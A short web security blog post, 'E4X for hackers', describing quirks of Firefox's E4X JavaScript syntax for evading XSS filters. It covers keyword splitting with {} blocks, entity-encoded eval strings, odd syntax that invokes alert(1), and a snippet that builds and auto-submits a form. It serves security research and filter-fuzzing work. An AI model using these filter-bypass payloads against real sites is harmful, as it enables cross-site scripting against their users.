The Spanner logo
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    The Spanner logo

    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

    Hackvertor logo
    Shazzer logo
    My Github account
    Recent posts
    Introducing Feedworm: A Privacy-First RSS Reader That Lives in DevToolsSpeedy RSVP extensionAutoVaderHackvertor history and tag finderShadow Repeater v1.2.3 releaseBurp Hackvertor v2.1.24 releaseHacking roomsXSSing TypeErrors in SafarivalueOf: Another way to get thisMaking the Unexploitable Exploitable with X-Mixed-Replace on FirefoxThe curious case of the evt parameterCSS-Only Tic Tac Toe ChallengeRewriting relative urls with the base tag in SafariBypassing DOMPurify with mXSSNew IE mutation vectorHow I smashed MentalJSMentalJS DOM bypassAnother XSS auditor bypassXSS Auditor bypassBypassing the IE XSS filterUnbreakable filterMentalJS bypassesmXSSJava SerializationBypassing the XSS filter using function reassignmentRPOSandboxed jQueryX-Domain scroll detection on IE using focusEpic fail IEnew operatorDecoding complex non-alphanumeric JavaScriptHacking FirefoxDOM ClobberingBypassing XSS AuditorThe evolution of codeNon-Alpha PHP in 6-7 charsetTweetable PHP-Non AlphaMentalJS for PHPOpera x domain with video tutorialSandboxing and parsing jQuery in 100ms

    E4X for hackers

    By Gareth Heyes (@hackvertor)

    Published 17 years 9 months ago • Last updated April 11, 2025 • ⏱️ 2 min read

    ← Back to articles

    If you've not been following my sla.ckers thread on unusual javascript then your missing out. My idea was to gather interesting, weird and wonderful javascript tricks which are useful for filter evasion and coding. I investigated E4X quite a lot for this purpose and found a few cool things that I'll share with you.

    Using {} for keyword evasion

    Lets say a filter disallows certain words, because the {} allows you to execute a javascript block; if you execute a block that returns a blank string then you can use it for keyword evasion. The new array constructor creates a blank array but when used in concatenation it results in a blank string.

    location=<text>javascr{new Array}ipt:aler{new Array}t(1)</text>

    Another example:-

    location=<text>javascr{[]}ipt:aler{[]}t(1)</text>

    A few more:-

    <>{new String}</>; <>{''}</>; <>{new RegExp()[-1]}</>; <>{<></>}</>;

    Weird syntax fun

    E4X also has some javascript syntax quirks that normally would cause a parsing error but it's perfectly valid.

    default xml namespace = alert(1)

    Some more weird looking stuff:-

    <>{eval(/alert(1)/[-1])}</>..@*::xyz
    (!1..@*::abc?alert:1..@*::xyz)(1)

    Numbers as E4X

    For some reason numbers can be used as XML

    1..@Numbers/(are=1)%1..*::xml

    Encoding with entities

    Giorgio brought this to my attention when he was hacking my unsuccessful Firefox sandbox experiment. You can use html entities and they will be decoded when using the XML data as strings.

    alert(<>&quot;</>)

    A more interesting example with decimal entities:-

    eval(<>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</>+[])

    Hackvertor supports morphs which allow you to generate this sort of data automatically, useful for fuzzing XSS filters:- E4X morph

    Form creation

    Making forms with E4X is lovely, check it out:-

    f=<form/>; f.@id='x'; f.@action='url.php'; f.@method='post'; f.input.@name='h' f.input.@value=1; document.body.innerHTML=f; document.getElementById('x').submit();

    ← Back to articles